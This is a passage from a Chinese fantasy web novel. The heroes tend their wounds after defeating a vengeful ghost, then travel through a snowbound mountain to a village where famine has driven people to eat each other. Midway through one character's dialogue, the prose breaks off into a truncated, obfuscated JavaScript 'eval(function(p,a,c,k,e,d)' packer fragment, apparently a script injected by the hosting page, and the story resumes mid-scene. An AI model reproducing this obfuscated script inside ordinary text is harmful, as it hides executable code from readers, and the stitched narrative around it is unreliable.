次日,他拖着摇摇欲坠的身体,爬上裕山,在那庙边掘了个深坑,放入早已制好的棺木,又立了块青石碑,刻上了“宣容将军之墓”几个字,便吐着血倒下了。 几日后,众人才在碑旁发现了齐时负寒透的尸骨。 怎知“老天有眼”,又让齐时负“活”了过来,去赎他那几辈子都赎不完的罪。然而他百年装作破庙中人,守着无尸的棺木,守的不过是个念想罢了。 他怎会不知道真正的宣容早已在兵荒马乱时被踏碎在万里黄沙中?那杯断肠的汤药被浇入尘土,曾经的海誓山盟亦在握不住的岁月中消弭。 因而,当有一日他足以纵血刃时,他毫不犹豫地砍向了世间薄情人。 他欲借此赎罪,替无数的“宣容”申冤。 又是一阵风起,眼前的一切都消失殆尽,只是破庙依旧,残碑犹存。 三人噤声不语,宣容的苦恨似蚀骨的毒药一点点钻进他们的心,压得人喘不过气来。 倘齐时负百年来背的便是这种痛苦,倒也活该。 “真是疯了……”谢尘吾喘着粗气,咳嗽了几声,“凭什么把他受的苦强加在我们身上?!” 其余两人皆默默无言。 严卿序扶着顾於眠倚门柱坐下,见齐时负连人带魂都灰飞烟灭,他又叹了口气。 青石碑边落下个刻着“齐”字的玉佩,以及一个玄铁碎片。严卿序于是过去在碑边挖了个不深不浅的坑,将玉佩埋入了土里。 谢尘吾抱着剑,看着满地血腥犯洁疾,他一边揉着眉心,一边道:“宣容那般恨他,该将那玉佩有多远扔多远才是。” 严卿序没有回答,待将土踩实了,他方拾起那碎片递给顾於眠,道:“於眠,你看看这是不是墨家兵符的碎片。” 顾於眠犹豫着点了头:“只是我不明白,墨家兵符碎片怎会有一块在他手中!不该是墨家亡魂持有吗?像墨邹那样……” “大抵是这家伙的怨念太深,被有心人利用了吧……毕竟有负心人无故被杀也不过是这几月的事。” 顾於眠望着那逐渐亮了一角的苍穹,心绪很乱,谁人能有此力助一亡魂练出以假乱真的肉身,又为何要助他? 奈何那齐时负的怨悔太重,不属于他们的记忆如潮浪涌来又退回。他只稍稍垂眸,又会想起宣容的泪与齐时负的悔。 “原来所谓四欢喜四离恨,不过是一人而已……” 10. 怨山 江念与醒来的时候已是正午时分,方一抬眸便透过细纱窗看见了空中翻卷的残云和随风动的青绿新叶。 “醒了?” 江念与抬手遮光,听得耳畔响起一人慵慵语声,先是一愣。 那人见他不言,于是探身近前,昏影遽然间遮挡住外头光亮,将他笼在其间。 江念与闻声知人——陌成谢家了不得的长公子说话向来带着无端的嘲意,同他那性子一般恶劣。江念与垂了垂眼睫,出于礼数,还是耐着疼,扭过头去。 谢尘吾的目光跟着江念与动,对上眼后,二人皆未移开。他抱臂坐于床头木椅上,眼底寒凉,只一味俯视着床上伤患,瞧不见半分怜悯的意思。 实话说,江念与同他本就不对付,尤其讨厌他居高临下的模样。他微微拧起眉心,尚未来得及开口,又听谢尘吾不咸不淡问:“要扶你起来吗?” 江念与颔首,这才发觉嗓音有些发哑,吐出口的字句都带了些血腥味:“都结束了吧?” 谢尘吾以手揽住他肩前顿了顿,却还是在下一刻握住肩胛一角将他小心扶起:“嗯。齐时负体内有块墨家兵符碎片,善后之事都交由若家人了。” 方醒时尚没发觉,这会屋中浓郁药味直直窜入鼻腔,江念与不禁蹙了蹙眉。他轻轻挪动双腿,虽伤处隐隐作痛,但见未伤及筋骨还是长舒出一口气来。 谢尘吾瞥着他小心翼翼的动作,破天荒觉得那江念与到底也是个凡人,尚不足以冠上“千江孤灯”之虚名。 他也不过是落在地上的余晖,哪里似天上月了? 他的目光落在江念与身上,如是千江深雪笼寒夜,冻得人发寒,可江念与没理会他不加遮掩的审视,已然倦于同那内里寒凉之人周旋。 奈何,他心中有个疙瘩,总硌得他心底发痒。 他犹豫半晌,还是没忍住开口问:“你怎不去休息?你不是近三日未眠了吗?” 谢尘吾闻言,反倒勾唇笑了:“你恐怕不知自己昏过去几日吧?整整三日了。顾於眠的伤没你这般重,卿序还在那边侯着呢。” “不提也罢。既醒了便快些把药喝了,你昏迷的时候,那药总灌不进去。”谢尘吾不知怎的又顿了顿,愕然问,“你没有顾於眠那毛病吧?他每日喝药跟别人要杀了他似的,也就严卿序有那耐心劝他……” 江念与没力气,只轻轻摇了摇头。不曾想,谢尘吾又笑了,他眼尾稍弯几许,薄唇上扬,未尝窥见过的明朗模样令江念与一时间清醒不少。 “你病了倒像那无齿幼兽,终究顺眼些。” “……” 谢尘吾的话来的没头没尾,江念与瞥了他一眼,实在没力气搭理他,于是默默坐着,一言不发。 “先喝药吧。看你现下应是没什么力气,你便把嘴张了,我帮你把药给倒进去。”谢尘吾自顾自说完就起身端药,一副无论如何都要给人灌进去的架势。 “……” “你咬着牙做什么?把嘴张开……” “谢公子……没侍奉过人吧?”江念与别过头去,将嘴闭得很紧,是真怕那蛮横子将药往他口中灌。 谢尘吾冷笑一声:“谁配得起我来侍奉?” “看得出来……”江念与又抬眼看了看他,“还是麻烦谢公子帮我拿个勺来吧,我自己喝就好,不劳烦公子了。” 谢尘吾这次倒是什么都没说,乖乖去拿了个勺来,那药碗同勺下一刻便被谢尘吾送了过去。 江念与身上密密缠了不少布,或深或浅的裂口随他的挪移而扯开,握住勺柄的刹那间,他的手重重颤了一下,谢尘吾见状将药碗稳当端远去。 “你这可是能自个喝的模样?不过是让人喂你喝药罢了,又不是要你性命,至于你如此戒备?” “……”江念与疼得说不出话,憋着一口气摇头。 “倘你不愿对碗饮……”谢尘吾瞧了眼手中碗勺。 “我喂你吧……” 谢尘吾没容江念与拒绝,江念与便也乖顺地仰首咽下递到唇边的药。只是那谢尘吾喂药太急,总是磕碰他的齿,江念与没力气动怒,整个人晕乎乎地瘫着,药沿嘴角淌出去还得靠谢尘吾拧着眉拿帕子擦。 好在没一会药碗便见了底,喂完药,江念与只瞧见谢尘吾匆匆离去的背影,很快画屏后便响起谢尘吾洗手的击水声。 江念与笑了笑,又在床上倒下了。 谢尘吾提前备好了数盆水,洗了很久,在终于满意地擦干手回来时,江念与的眼神已有些朦胧涣散,问话也不答,模样瞧着并不清醒。 他用手背轻轻抵在江念与额前,见江念与未发热,于是收回手去,也不说话,又默默在床头木椅上坐下了。 ------------------------------------- 隔壁房中,木床边坐着个温润如玉的纯良公子,公子手中端着个白瓷碗,碗中缁色的药已近乎见底了。 那公子每舀起一勺药,床上坐着的伤患便拧紧眉,尤其艰难地张嘴将递至唇边的苦药含入口中,发着颤咽下去,继而发出一声心如死灰般的叹息。 “兵符怎么办?”顾於眠忍住将药吐出的冲动问。 “眼下局势动荡,恐怕放哪都不安全。” “那便放在锁灵囊里贴身带着吧……多少安心些。” 严卿序面上含笑,手里握着一干净白帕,他轻轻帮顾於眠拭去嘴角淌出的药,动作温柔,同他那性子一般,像是捧着和璧隋珠,生怕碰坏了。 “今早,萧家主差人送了信来,说是墨邹体内的兵符他会仔细保管好,让我们无须担心。此事倒如於眠所料了,萧家主此般交疏吐诚着实不易。”严卿序那温润语声如白珠落玉盘,口中言语却分明是些隐晦的争斗。 “但我们就是顺着设局人之意,把兵符都收入囊中了,又能如何?那人分明已凑齐可号令百万亡魂的墨家兵符,又为何要任其分散各地?” “敌在暗,我们在明,既已处不利之位,暂且也只能行一步看一步了。”严卿序又舀了一勺药,送到顾於眠嘴边,“於眠,不要咬着唇……也不要咬牙……把嘴微微张开就好。” 顾於眠眉头都拧在一起,憋着气这才又咽下一口药来:“墨家兵符之事万不可声张,这世间欲练唤魂禁术之人难以计数。” 顾於眠尤其讨厌被人玩弄于股掌之感,心底不悦却并不显露于表,面上仍旧从容。 “砰——砰——” 严卿序方一搁下药碗,突闻屋外响起一阵些许急促的敲门声。 “两位公子,有贵客来找您俩嘞。”外边小厮怕屋中人听不清,还抬高声喊。 俩人皆未请客,也不知来者是谁,见小厮那般急切,都有些困惑,严卿序于是站起身来,温和道:“请他进来吧。” 只听“吱呀”一声,一身着轻甲的男子踏入屋内。 顾於眠扫了他一眼,见来人身材高大健硕,背阔肩宽,脖颈间一道牵入衣的长疤更令狠戾猛将之风一展无遗。 “严公子、顾公子,”那人声音低沉浑厚,威风毕露,“前几日之事我已有耳闻,多谢几位公子拔刀相助,苏某在此替这禮间百姓谢过几位公子了。” 言罢他恭恭敬敬地朝二人抱拳行礼。 严卿序也向他作揖行了个礼,这才问:“不知阁下是?” “安晏四营将军苏缭亦。”他自怀中取出封信,一双眼盯着严卿序,如鹰隼取物,“我此番前来,是有事相托。” 闻言,顾於眠直起身来。 顾於眠同他有过几面之交,苏缭亦其人是禮间苏家的,说的平常点,便是许昭安他家邻居。 巧的是他家也有个二子,名唤“苏衔慕”,那孩子生性温和柔弱,偏偏生在了武将世家。因其不擅武,又生性优柔寡断,故常被他哥苏缭亦骂的狗血淋头,是哭也不是,笑也不是。 每回许昭安路过他家门口,总能遇上苏缭亦在训他弟,不禁感慨一番自家哥哥有多疼自己,那可真真是捧作手间宝呐! 但苏缭亦作为一个不会术法的凡人,他能击败一众世家擅术法者当上四营主将,必然有其过人之处。 人们多道他“煞气传四野,百战终成王”,世人不知苏缭亦在前任将军的手下杀了多少欲破关的贼寇才终于赢了个“武将军”的美名。 六年前刚及冠的他在半个营遭敌军设伏围堵的情况下,单枪匹马硬是将敌军给逼入了自己设下的埋伏圈,逆风翻盘,反败为胜。 顾於眠不擅记人脸,不熟其面容,但他这名声实在太过响亮,连十五族人都要敬让几分。 “原来是苏将军!是在下有失远迎,不知苏将军此番远道而来,所为何事?”严卿序是头一回碰上苏燎亦,但同那般杀气腾腾之人面对面站着却也不露慌色,他冁然一笑,举止从容。 “我本就是不通术法者,干不了除妖灭邪之事,平日里用的也皆不过十五族人注了灵力的法器,但奇闻异事见的也不算少了。” 苏燎亦压下眉头,偏身瞧向床榻上正襟危坐的顾於眠:“顾公子也知道,禮间向来春暖,还未曾见过四月飞雪的。但许地东边已下了几十日的雪了,天寒地冻的,据说那处冻死的亦或寻不到踪影的人愈来愈多了。” “竟有此等怪事……”顾於眠蹙起眉,“只是念与现在重伤恐无法……” “念与既受了伤,那便让他好好休息,我替念与陪你们去可好?” 那屋外语声来得突然,字字跳跃,听去若清潭锦鲤遽然蹦起,又爽快归去。 三人闻声皆回头,又听得一人大步而来的足音,原以为是个飒沓男儿郎,谁成想一掠入眼的却是只玉面狐狸。 来人红衣胜血,乌发皆披散于肩,少许以赤绸束起盘在脑后,一柄红玉簪映照日光灿灿。再观其面,眼尾微长,一双眸子含情脉脉,却偏偏剑眉铺展,面上棱角分明,浑然若泡浸了百年的烈酒,浓颜与柔情杂糅无间。 他勾唇笑着,分明是男子,却媚得很,说话难听些便像是秦楼楚馆里头的卖笑小倌。可其实他身量颇高,比身侧铁血将还要高些,因而实在难凭只言片语来概括模样。 “长停?!你怎么来了?你腿伤好了么?!”严卿序愕然,前些日子看见他时,他尚病蔫蔫地瘫在木制的机关椅上,尽管其中定有他装可怜的成分,可伤势好得也实在太快了。 “怎么?卿序不愿我来?”魏长停一把揽住严卿序的腰便将人搂入怀里,瞧见严卿序那副无奈却又不挣扎的模样后,这才高高兴兴地撒开手去。 他倒也不客气,兀自拖了把木椅过来,便在顾於眠床边坐下了。 四目相对,魏长停的目光直白露|骨,顾於眠的眼神从容清澈,无人躲闪。 魏长停乃渭于魏氏长公子,是个跌宕风流之人,有才且多情,平日里最喜吟诗作画,可惜他性子轻薄,总喜欢拈花惹草,乃秦楼楚馆的常客。 他尤擅掇乖弄俏,撒泼耍赖的本事在一介同龄公子中无人能敌,却也偏偏是这么个纨绔子,同严卿序、谢尘吾二人是竹马之交。 顾於眠初见魏长停是在三年前的虚妄山试炼,二人说不上有多熟识,只是魏长停善与人交,甭管交情深浅,他皆当是至交来对待,故而眼下场面尤似老友重逢。 “三年不见,於眠果真愈发的脱尘出俗了,当真是个百不一遇的美人呐。” 魏长停风流惯了,他的长指轻轻在顾於眠面颊边拂过,轻佻的话音一落,便握住了顾於眠的手。 这么个举动没惊到顾於眠,反将严卿序吓了一跳。被晾在一边的苏缭亦蹙起眉,眯了眯眼。 “长停,”顾於眠莞尔一笑,眉目弯弯,若春山来风,“别来无恙。” 魏长停瞧见他那灿烂模样,眼中笑意更深几分,只是顾於眠要将手抽出去时,魏长停却将他摁住了:“别着急呀,我帮你把把脉先。” 顾於眠没理由推辞,便也任由他去了。只是那魏长停把着把着,眉心便拧了起来:“刚受的伤倒也没什么……只是,旧疾难愈,伤的可是筋脉血骨,得找名医瞧瞧,别拖成了大病。” 言罢,他这才起身道:“昨日我我族探子来信说念与伤了,我寻思渭于苍巡之位不可无人,恰我伤已无碍,由我替他便是。” 方正经一刹,那欢脱之人便又满面喜气地蹦出句:“许久未见,相思成疾!我得先看看尘吾去!” 话音一落,他便拍了拍二人肩转身离开,只是走的时候还不忘连带着拍拍苏缭亦的宽背,给他送去个意味深长的眼神:“苏大将军,分别已是多年,怎不来陪我叙叙旧?” “谁许你对我动手动脚了?”苏缭亦斜睨魏长停,神情冷漠,“我和你什么时候熟到这地步了?魏公子声名在外,我可招待不起。” 魏长停听了这话倒也不恼,只是笑着挥手绕到隔壁去了。 严卿序和顾於眠面面相觑,只得无奈笑笑。然而,刹那间,隔壁屋子突然闹了起来。 “魏长停你给我滚一边去,别在这里打扰伤患休息!” “见色忘友……我是来看念与的好吧……” “你会看病?你看哪门子的病,滚一边去!什……么?!滚远点!别趴我肩上,脏死了,魏!长!停!” “……” ------------------------------------- 因裕山之事还得有人善后,谢尘吾于是答应留下,顺便帮忙照顾江念与。 虽他口上说是顺便,实则还是为了还江念与一个救他性命的人情。陌成谢家世代皆讲义气,最为讲究的便是“有恩必报”。 经由此祖训熏陶二十余年,谢尘吾自然压住了自己易怒的性子,对江念与服服帖帖的。魏长停这一来,也算是雪中送炭了。 此番要去的地方在许地东边,顾於眠虽自小在禮间长大,却也难免有些偏僻地不熟,待苏燎亦走后他便遣了顾家隐卫去向许家要那地的舆图,却只得来个不详的回复。 这自家管的地岂还能有不详之说,顾於眠心里也困惑,专程托隐卫暗中查了一番,才知道许家管辖那块地的是个四十多岁的外戚,人还没多老便成日想着炼不死仙丹,没什么作为。 碍于他先前立过大功,许家多少有些不好意思管,许家长公子许辞闲暗戳戳讥讽了几回,那人仍旧明知故犯,压根不顾当地百姓的死活。 时间久了,那穷乡僻壤之事便也就搁置下来,以至于现在那块地有几个村子、住了几户人家都无从得知,更别提入山的路线了。 闹出这么个笑话,许家自然也下不来台,只得着急忙慌给三人寻了个当地百姓领他们入山,只是那人说是当地的,实际也只知道个皮毛而已,何况现在大雪封山,不仅认路难,行路更难。 “大爷,这路如此陡,哪是能行的样子呐?”魏长停扶着石壁,抬手挡去漫天雪,脚下还得提防着打滑,走的实在是艰难。 “几位公子是不知道,这儿呐,本来是个寸草不生的荒山,没有什么路过去的嘞!里边好像有个村吧,叫啥……哦,叫石筠村!只是现在这雪下得大,也不知里边人啥样咯!” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那老头有些“受宠若惊”,眼中慌张尽露,着急忙慌道了几声谢便匆匆离开了。 “好一个贪生怕死之徒呐……”魏长停勾唇笑道,他轻轻拍落肩头积的薄雪,回过身来,“卿序,总心软可成不了大事。” “他既然怕到如此地步,恐怕也不知过了这山口后要如何行,带着也只是累赘罢了。”顾於眠摆了摆手,没多加犹豫便跨过挡路的枯枝往里头走。 严卿序回头瞧了眼,那老头的身影却早已消失于雪虐风饕间,连带着他留下的足迹一并散入寂寥的雪中,再难觅得。 ------------------------------------- 都道这苑山路难行,也的的确确没有诓人。三个术法高强的十五族人又是御剑又是造屏障的,却还是费了近两个时辰才终于行至山腰。 夜里风雪更盛,御剑不得,三人咬着牙逆风向前,也不知跌了几个跟头,才终于在满目雪白中窥见了一星灯火。 只是走近来,三人才终于发觉——这儿几乎已不能称作“村子”了。 目之所及,惟有腐烂的茅草在寒风中哆哆嗦嗦摆动的模样。再近些,便是一派凄楚景。枯枝混着泥土筑的墙东倒西歪,深雪压塌的茅草屋底下露出一截白骨,却也难辨是人骨还是牲畜的骨。 每户人家的房门都紧闭着,只能隐约从中看见里头晃着几个干瘦的身影,门缝里不时闪出些怪异的光来,有人暗中窥伺着外来客,像是垂涎的野狗似的瞪着大眼。 “这可不是个好兆头呐。”魏长停耸了耸肩,又瞥了眼一旁裹紧雪白裘衣的顾於眠和一身玄色大氅的严卿序,笑道,“罢了,求人办事这活还是得我来干。” 言罢,魏长停便兀自寻了个看上去不那么漏风的屋子,叩响了门环。 “有人吗?无意叨扰!但求您行行好,开个门吧!这外头实在太冷了,要冻死人啦!” 谁知,魏长停反反复复喊了几声都没人应答,反倒是隔壁人家的柴门开了个小缝。 只听见一个嘶哑的声音问:“干什么的!?在这大吵大嚷……” 魏长停见有人应答,忙闪身至那门前,柔声道:“老人家,我们是官府派来查案的,这四月飞雪属实奇怪,如若您不嫌弃,让我们进屋避避风雪便好,我们自个带了干粮,不会多麻烦您的!您看这大雪都没个停的时候,您便可怜可怜我们吧……” 魏长停向来是个没脸没皮的人,这会装得一脸无辜,也不知凭这招骗了多少家姑娘。 老人犹豫半晌,低声嘀咕了几句:“不出大事便不来了么?早该来不来……” 他话是这么说着,但见三人披了一身的雪,眼睫上都结了层霜棱,到底还是心软,一咬牙把吱呀作响的门拉开了条每次仅容一人进入的缝。 三人忙点头道谢,也都松了一口气般入屋去了。 老人在屋内灶台生了火,几人便围着那灶台坐着,这屋子虽不漏风,但屋墙都是泥砌的,墙面薄,难以御寒。 衣薄的老人不住搓着满是老茧的手,恰是天寒地冻时候,他发着颤坐在枯草堆上,像一柄残烛于忽明忽暗的光中摇摆不定。 严卿序本就练就一身好功夫,内里穿的也多,瞧见老人瑟缩模样,心里更有些过意不去。 他自顾自将大氅脱了下来,起身过去欲盖到老人身上。那老人吓了一跳,伸手要挡开,严卿序只轻声道:“老人家,您收留我们,我们本已感激不尽,却也无从回报。在下身子骨尚是硬朗时候,也不怎么畏寒,若能让您暖暖身子就好了。” 那老人觉着有些不知所措,只得不住点头,谢过严卿序。 “老人家,您就自个住呐?”魏长停瞧着屋中破碎的棉絮散了一地,沾满了污泥。 闻言,老人的眼神黯淡下来,迟疑半晌,这才叹了口气道:“我连口棺材钱都没有,哪能养的起家眷?” 三人递了个眼神,都没在这话题上深入。 “您这平日吃的都是些什么?这毒草树皮可经不起长吃。”魏长停瞥了瞥那锅中剩菜,又问。 “那能如何是好?这荒郊野岭本就不是活人的地方!难道我要同他们……” 语声急停,屋外呼啸风声登时如虎狼嘶吼入耳。那老人张皇失措,一双如柴枯瘦的手攥成拳状死死压住衣摆。 顾於眠见状,轻轻挪到老人身旁,盯住老人那飘忽不定的眼神,真诚道:“老人家,我们是来查案的,您同我们讲明白了,我们才好帮您解决呀!” 见老人犹豫,他轻轻握住老人发颤的手:“老人家,这几年不作为皆是我们无能。没能护住这一方太平亦是我们的罪过,我们是狼心狗肺的畜牲,我们真该死!我们对不起乡亲们!如今……如今我们便是来将功补过的!是我们软弱!是我们怯懦……” 顾於眠虽是在骂自己,实际却是借着这机会泄愤,随心骂了一通这地的官,心情为此还舒畅不少。他越说越激动,近乎要侮辱“自个”祖上十八代了。 还是严卿序从后边扯了扯顾於眠的袍摆,露出个讪讪的笑,顾於眠才了然地住了嘴。 老人小心翼翼瞥了顾於眠一眼,见那生得漂亮的小子神情坚定,眼中清澈,不自禁叹了口气,似乎有了几分心软。 然而他一开口,连唇都开始打颤,瞧上去似乎更焦躁了:“哎呦……你们存心想让我遭报应吗?我说你们几个黄毛小子来这怨山干什么……怎么就是不知怕呢?” 老人脸上本就布满岁月沟壑,这会愁得更是拧紧了眉头,他紧闭双唇,阖起了双目。 “老人家,我们……”顾於眠以为自己方才那番话触了老人的逆鳞,正欲开口,谁知老人叹了口气便将他的话打断了。 “吃人啊……怨山哪有鬼吃人,是人吃人呐!” 老人将满头银丝埋入臂弯,一时间无人言语。 低低呜咽声在静得出奇的屋中如同被打碎在地的瓷碗,碎瓷片在每个噤声的外来客心中都划开一道长长的口子。 11. 风雪 屋外碎琼乱玉肆虐翻飞,屋中四人却无一不是攒眉蹙额、面露难色。 “人吃人?说的是那个胡作非为的贪官么?”魏长停将已然抬至唇边的酒囊垂下,只盯住老头一双发愁的眼。 “什么贪官呐?!这穷乡僻壤哪里是他一个贪官刮得了半点脂水的地方?人吃人就是人吃人!你们这群娇生惯养长大的公子怎可能猜得到这村子户户紧闭家门的缘由?!” 一向嘴快的魏长停没能接上话,那老人家只啐了一口,又继续骂道:“避寒?我呸!他们一个个易子而食,每个人脸上都见不得光!有良心的吃树皮野菜,没丁点良心的畜牲就擅开荤腥,吃的都是人肉,喝的都是人血!” 老头目眦欲裂,通红的眼中本怒意喷薄,谁料将鼻子一抽,却生生带出两行热泪来。 “官兵早哪去了?哎呦!都是罪过啊!” “这世道竟还能有这种事发生……”顾於眠心口倏地一紧,好似被人捏了心脏,疼得他的手都细微颤了起来。 啊,又来了、又来了。 顾於眠咬紧牙关,死命将那近乎涌至喉口的腥血咽了回去。 严卿序没有多言,只不动声色将手轻覆于顾於眠的手背之上,朝老头温和道:“老人家,您莫要担心,我们定会给此事一个了结的,我们这便……” “砰砰砰砰砰——” 他的话忽然被迫切的敲门声给截断了,那屋外人催命一般使劲打门,可老人似乎对此早已见怪不怪,应了一声,旋即爬起身去。 不曾想,他却被严卿序偏身拦住了。严卿序握紧手中剑,缓步迈至屋门前。 “莫爷爷,您开开门呐!是我,小闻!” 耳闻少年人嗓音清冽,语声中好似有些困惑,姓莫的老头赶忙同严卿序点头示意,让他把门给打开。 门方开出条缝,一身着褴褛粗布衣的干瘦少年便泥鳅似的推门往屋内一钻,利索站至了四人眼前。他头发蓬乱,面有土色,窄腰上还捆着条比两指还粗的麻绳。 那少年瞧见屋中有生人的刹那,如是撞了鬼般嗔目结舌。只眨眼间,他手中竹篮倏然落地,一旁的干木柴被死死拿入手中,遽然朝三人劈来。 “小闻!手下留情——千万莫伤人!他们是官府派来查案的,并非恶棍!”莫老头匆忙喊,嗓底发哑,那尾音几乎是被吐出去的。 少年听了那话急急刹住脚步,却似乎并不全信,只瞪眼瞧着屋中三个外来人。眼见莫老头挡在他身前,他才终于半信半疑地拾起地上竹篮。毕竟是个难见生人的少年郎,那张瘦削的脸上还带着好些青涩稚气。 “莫爷爷,我把今日的野菜放这了。您悠着点吃,吃多了怕要中毒……”他不好意思地挠了挠头,双手拽着衣角不住揉搓,“是我对不住您,这雪地里根本找不到多少吃的……” 严卿序闻言从怀里取出用油纸包裹住的两块烧饼,递至他们跟前,温和道:“我们此行随身带了些干粮,如若不嫌弃……” 谁知,倏忽之间,那额前青筋暴起的少年突然伸手将那烧饼打落于地,又几近疯癫般握住老头的手:“谁要信你们!?我们如何知道你们往里边加了什么!?” “实在抱歉,是我思虑不周,您莫要着急。”严卿序安抚急得满头大汗的莫老头,捡起了地上的烧饼,见其上沾了好些污泥,也只笑着用油纸包住收回了怀中。 “小兄弟,你误会啦,我们并无恶意。”严卿序神貌不改,依旧从容,“我们来此是为了查这‘暮春雪案’的,并非有意打搅您二人清净,只是想寻个地儿避避风雪,顺便搞清楚这村中究竟发生了什么。” 顾於眠见那老人家颤个不停,也笑着拍拍莫老人的肩:“您别多虑,小孩子如此是好的,可不能没有戒心。” 然而那少年一双怒目紧盯三人,他站至老头身边,也不避讳他们,字字清晰说了句:“您得当心些,千万别轻信他人,这世道,到处都是吃人的怪物。” 仨人听了那话都不是很舒服,莫老头更是神色张皇,只是少年言罢便头也不回地离开了,还不忘将木门掩了个严实。 “这小子……”魏长停立于窗边,见闻风进了邻屋,不禁冷哼出了声,“原来是隔壁那个怎么都敲不开门的人家。” “这情况下能有几人愿意开门?是人是鬼都辨不得,一不当心可真要丢了命的,我们上回去榕村也是如此。”顾於眠拍了拍他的肩,对魏长停轻轻摇了摇头。 “三位大人就别见怪了……那孩子也是个苦命人呐!” 莫老头喟然长叹,他摩挲着被冻得皲裂的双手,裹紧了披在肩头的大氅,温吞道:“那孩子名唤‘闻风’,家中本还有一胞妹,只可惜尚于襁褓中便在这易子而食的石筠村成了刀下鬼……” 他像是飘浮于陈年往事中的游鱼,悠长岁月荡起的涟漪都一圈圈拍回了他的身上。他边说边想,因而说得很慢很慢,像是不愿忆起,却又不得不去想般,苦痛皆嵌进了面上沟壑。 “七岁的孩子呐,眼睁睁看着妹妹被邻人抱走,一把大刀架上颈子,血很快就流干了……”老人说着,抽了抽酸涩的鼻,叫眼尾几滴浊泪落在了掩面的手中。 “也多亏了他,我这把老骨头才能勉强偷生……他几月前出门寻食,还不幸跌下山崖,昏死几日,若非命大,又怎可能活下来?” “老人家,恕我直言冒犯,只是既这村难以活人,又为何不赶快出山去呢?”顾於眠神色困惑。 “出……山?‘怨山葬白骨,凄凄送亡人’啊!没人敢入山,生怕入山成了活死人,苑山百姓更出不去这山!”莫老头说那话时浑身震颤,满脸通红。 “谁不曾想着离开这鬼地方?!又有谁真正逃出去了?这山中闹鬼啊!几年前我不自量力入林寻出村路,却像绕圈子似的,几个日夜过去,却还是绕回这破村!可你们又怎能知道,这已是不幸中的万幸了!村中几个妄图出村的同龄乡人皆是音讯全无,过了个把月才叫人发现村口多了几具白骨……” “连鸟都不稀罕飞过的地方,分明是沾了什么晦气的东西!”老人抹了把泪,苦水大倒。 依莫老头所言,这山中当是邪祟密布、阴气萦绕,只是顾於眠方才仔细打量了一番,这屋虽简陋,却“干净”得很,不似阴炁聚集的模样。 眼见老人家愈说愈激动,他也不好意思再问东问西,转而将目光投至了邻屋的闻风,那少年郎显然知道的东西要更多。奈何魏长停不愿去和闻风硬碰硬,于是他便领着严卿序敲响了闻风的屋门。 这回依旧无人应答,可顾於眠不是个轻易放弃的性子,他不知疲惫地反复叩门,直逼得那闻风将门开出条来。 窄小的缝隙中露出闻风一只发红的眼,他嗔目瞪着屋外人,嫌恶之色不遮不掩。 “你们究竟什么事?!不是说要去查案么?!来烦我做什么?我不过一个寻常村人,什么都不知道。” “小兄弟,请恕我们唐突。但我们此番而来,是真心实意想为这村中百姓们除忧解难,你若能帮我们一把,我们定能更快让古怪的这雪停下!”顾於眠赔了个笑脸。 “雪停了,人就活得下去了吗?!”闻风白了他二人一眼,手上一使劲又要把门给闭拢。 严卿序见状赶忙用焚痕抵住门:“闻小兄弟,我们一定还这石筠百姓一个公道!” 闻风见二人打定主意要缠着他不放,忧心惹祸上身,这才强压下心底怒火,踹开门让他俩入了屋。 ------------------------------------- 屋内空荡冷清,却几乎连处落脚的地儿都没有。到处是一片泥泞,黄泥地中翻出了好些枯草根,几乎都被踩烂了。闻风一声不吭地将自个于在角落稻草堆上,一双寒目紧盯着两个不速之客。 顾於眠倒也不着急,只在他屋中慢悠悠地踱步,半晌无言,直把闻风逼得骂出声来:“你们俩究竟要做什么?有话快说,有屁快放!” 闻言,顾於眠瞅了身边那副温润公子一眼,深明他难扮恶人,于是自顾自倚墙笑道:“闻小兄弟,令尊、令慈不在么?这风雪天外出……” 闻风听了那话果然神色一变:“你想说什么?” “自古以来,杀人放火,罪不可赦。这苑山乱事,是许氏监管疏漏,放任贪官治地所致。但不知闻小兄弟心里头可清楚,后日论起罪来,即便官府知道时势所迫,荒唐举止以死罪论斩着实太重,但触了刑罚毕竟有罪,你说许家的大人们可能轻易放过那般人吗?” 严卿序以为顾於眠要以闻风父母作胁迫,扯了扯他的袖口:“於眠……” 谁知,顾於眠只轻推开他的手,走至那稻草堆边,轻蔑地俯视闻风,眼含嘲意。 “你在威胁我?”闻风咬牙切齿,却仅仅冷笑几声,“行!你们爱如何便如何,反正你们这群达官贵人从来不把穷民贱命当命!他们活该受刑,反正易子而食的又不是我!” 严卿序见他情绪激动,也不敢有片刻松懈,只几步上前挡于顾於眠身前。 “哎呀,一个十五六岁的少年能做什么?卿序你莫要挡着了。”顾於眠绕过严卿序,只又问,“我自然知道闻小兄弟看不起那群人面兽心之人,毕竟你那年也才七岁呐,又能做些什么呢?” 闻风好似已说不出话来,只怒瞪着顾於眠。 “弑父杀母可不是什么轻罪呐!不、孝、子!”顾於眠微微俯首,凑在闻风耳畔,那语声是轻飘飘的,好若外头拂来的几丝凉风。 严卿序一刹怔忪,却只见眼前少年郎蓄了满额的冷汗,枯瘦的指尖紧拽住一张不停往外漏棉絮的短被,将其中裂口又扯大几分。 “你想问什么?”闻风的眼睫向下垂了垂,有几分不寻常的颤动。 “你放心,只要你愿意乖乖回答我们的问题,我绝不会把陈年往事翻出来。” 闻风的眼死盯着顾於眠,他根本看不懂眼前那一袭月白袍、笑得烂漫之人究竟是神仙还是恶鬼。可即便是后者,也无所谓了,他不在乎,怎么样都好。 “这雪给村里带来什么变化没有?” “冻死了几户人呗,能有什么变化?你们生来锦衣玉食,怎会知道生如蝼蚁一般的人是怎么活着的,真是笑话!” “别说些多余的话,你一会带我们去那几户人家走走吧?我们得确认下村民们的死因。” “不是说冻死了么?哦,饿死也可能……有什么好确认的?”闻风又冷嘲几声。 “反正他们死有余辜,谁要管他们的死活?!!!” 一语落地,淋漓鲜血登时糊了顾於眠满脸,他微微偏首,却只看见了满地黢黑的死尸。腐烂的腥臭一股股袭来,直叫他喉底涌上一阵腥甜。 他又听见了陆倾行的嗓音,那公子又在不知疲惫地呼唤他的名字了。陆倾行每喊一声“阿眠”,他都觉心口一阵剧痛。可他没办法,只能深吸一口气,将几乎到唇边的血咽了回去,于一片幻象中对闻风扬起了唇。 “蠢货……”闻风还没反应过来就被顾於眠拽住衣领扯至身前,“你把人命当什么了?我看你年纪小我才没动手……” 